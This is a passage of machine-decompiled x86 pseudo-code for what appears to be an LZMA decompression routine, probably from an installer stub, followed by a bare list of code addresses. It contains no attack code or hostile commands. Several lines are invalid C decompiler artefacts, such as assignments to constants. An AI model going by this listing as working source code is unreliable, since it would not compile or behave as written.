											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L100:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t335 = __ebp - 0x70;
											 *_t335 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t335;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L102;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L110:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t366 = __ebp - 0x70;
											 *_t366 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t366;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L112;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											L132:
											 *(_t612 - 0x54) = _t605;
											goto L133;
										case 0x12:
											goto L0;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												goto L144;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											goto L130;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											L140:
											 *(_t612 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L121;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											goto L145;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											goto L149;
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L120:
												_t394 = __ebp - 0x2c;
												 *_t394 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t394;
												L121:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t401 = __ebp - 0x60;
												 *_t401 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t401;
												goto L124;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L103:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L109:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L113:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t392 = __ebp - 0x2c;
														 *_t392 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t392;
														goto L120;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L112:
														_t369 = __ebp - 0x48;
														 *_t369 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t369;
														goto L113;
													} else {
														goto L110;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L102:
													_t339 = __ebp - 0x48;
													 *_t339 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t339;
													goto L103;
												} else {
													goto L100;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L109;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L124:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t415 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t415;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t415;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											L170:
											_push(0x22);
											_pop(_t567);
											memcpy( *(_t612 - 0x90), _t612 - 0x88, _t567 << 2);
											_t535 = 0;
											L172:
											return _t535;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
						__eax =  *(__ebp - 0x50);
						 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
						__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
						__eax =  *(__ebp - 0x58);
						__esi = __edx + __eax;
						 *(__ebp - 0x54) = __esi;
						__ax =  *__esi;
						__edi = __ax & 0x0000ffff;
						__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
						if( *(__ebp - 0xc) >= __ecx) {
							 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
							__cx = __ax;
							__cx = __ax >> 5;
							__eax = __eax - __ecx;
							__edx = __edx + 1;
							 *__esi = __ax;
							 *(__ebp - 0x50) = __edx;
						} else {
							 *(__ebp - 0x10) = __ecx;
							0x800 = 0x800 - __edi;
							0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
							 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
							 *__esi = __cx;
						}
						if( *(__ebp - 0x10) >= 0x1000000) {
							goto L148;
						} else {
							goto L146;
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406682
0x00406682
0x00406686
0x004066ab
0x004066b5
0x00000000
0x00406688
0x00406688
0x0040668b
0x0040668f
0x00406692
0x00406695
0x00406699
0x00406699
0x0040669c
0x00406776
0x00406776
0x0040677d
0x0040677d
0x00406780
0x00406787
0x004067b4
0x004067b8
0x00406818
0x0040681b
0x00406820
0x00406821
0x00406823
0x00406825
0x00406828
0x00406734
0x00406734
0x00406734
0x00405ed0
0x00405ed0
0x00405ed0
0x00405ed9
0x00000000
0x00000000
0x00405edf
0x00000000
0x00405eea
0x00000000
0x00000000
0x00405ef3
0x00405ef6
0x00405ef9
0x00405efd
0x00000000
0x00000000
0x00405f03
0x00405f06
0x00405f08
0x00405f09
0x00405f0c
0x00405f0e
0x00405f0f
0x00405f11
0x00405f14
0x00405f19
0x00405f1e
0x00405f27
0x00405f3a
0x00405f3d
0x00405f49
0x00405f71
0x00405f73
0x00405f81
0x00405f81
0x00405f85
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f75
0x00405f75
0x00405f78
0x00405f79
0x00405f79
0x00000000
0x00405f75
0x00405f4f
0x00405f54
0x00405f54
0x00405f5d
0x00405f65
0x00405f68
0x00000000
0x00405f6e
0x00405f6e
0x00000000
0x00405f6e
0x00000000
0x00405f8b
0x00405f8b
0x00405f8f
0x0040683b
0x00000000
0x0040683b
0x00405f98
0x00405fa8
0x00405fab
0x00405fae
0x00405fae
0x00405fae
0x00405fb1
0x00405fb5
0x00000000
0x00000000
0x00405fb7
0x00405fbd
0x00405fe7
0x00405fed
0x00405ff4
0x00000000
0x00405ff4
0x00405fc3
0x00405fc6
0x00405fcb
0x00405fcb
0x00405fd6
0x00405fde
0x00405fe1
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406026
0x0040602c
0x0040602f
0x0040603c
0x00406044
0x00000000
0x00000000
0x00405ffb
0x00405ffb
0x00405fff
0x0040684a
0x00000000
0x0040684a
0x0040600b
0x00406016
0x00406016
0x00406016
0x00406019
0x0040601c
0x0040601f
0x00406024
0x00000000
0x00000000
0x00000000
0x00000000
0x004066bb
0x004066bb
0x004066c1
0x004066c7
0x004066cd
0x004066e7
0x004066ea
0x004066f0
0x004066fb
0x004066fb
0x004066fd
0x004066cf
0x004066cf
0x004066de
0x004066e2
0x004066e2
0x00406707
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406709
0x0040670d
0x004068bc
0x00000000
0x004068bc
0x00406719
0x00406720
0x00406728
0x0040672b
0x0040672e
0x0040672e
0x00000000
0x00000000
0x0040604c
0x0040604e
0x00406051
0x004060c2
0x004060c5
0x004060c8
0x004060cf
0x004060d9
0x00000000
0x004060d9
0x00406053
0x00406057
0x0040605a
0x0040605c
0x0040605f
0x00406062
0x00406064
0x00406067
0x00406069
0x0040606e
0x00406071
0x00406074
0x00406078
0x0040607f
0x00406082
0x00406089
0x0040608d
0x00406095
0x00406095
0x00406095
0x0040608f
0x0040608f
0x0040608f
0x00406084
0x00406084
0x00406084
0x00406099
0x0040609c
0x004060ba
0x004060bc
0x00000000
0x0040609e
0x0040609e
0x004060a1
0x004060a4
0x004060a7
0x004060a9
0x004060a9
0x004060a9
0x004060ac
0x004060af
0x004060b1
0x004060b2
0x004060b5
0x00000000
0x004060b5
0x00000000
0x004062eb
0x004062ef
0x0040630d
0x00406310
0x00406317
0x0040631a
0x0040631d
0x00406320
0x00406323
0x00406326
0x00406328
0x0040632f
0x00406330
0x00406332
0x00406335
0x00406338
0x0040633b
0x0040633b
0x00406340
0x00000000
0x00406340
0x004062f1
0x004062f4
0x004062f7
0x00406301
0x00000000
0x00000000
0x00406355
0x00406359
0x0040637c
0x0040637f
0x00406382
0x0040638c
0x0040635b
0x0040635b
0x0040635e
0x00406361
0x00406364
0x00406371
0x00406374
0x00406374
0x00000000
0x00000000
0x00406398
0x0040639c
0x00000000
0x00000000
0x004063a2
0x004063a6
0x00000000
0x00000000
0x004063ac
0x004063ae
0x004063b2
0x004063b2
0x004063b5
0x004063b9
0x00000000
0x00000000
0x00406409
0x0040640d
0x00406414
0x00406417
0x0040641a
0x00406424
0x00000000
0x00406424
0x0040640f
0x00000000
0x00000000
0x00406430
0x00406434
0x0040643b
0x0040643e
0x00406441
0x00406436
0x00406436
0x00406436
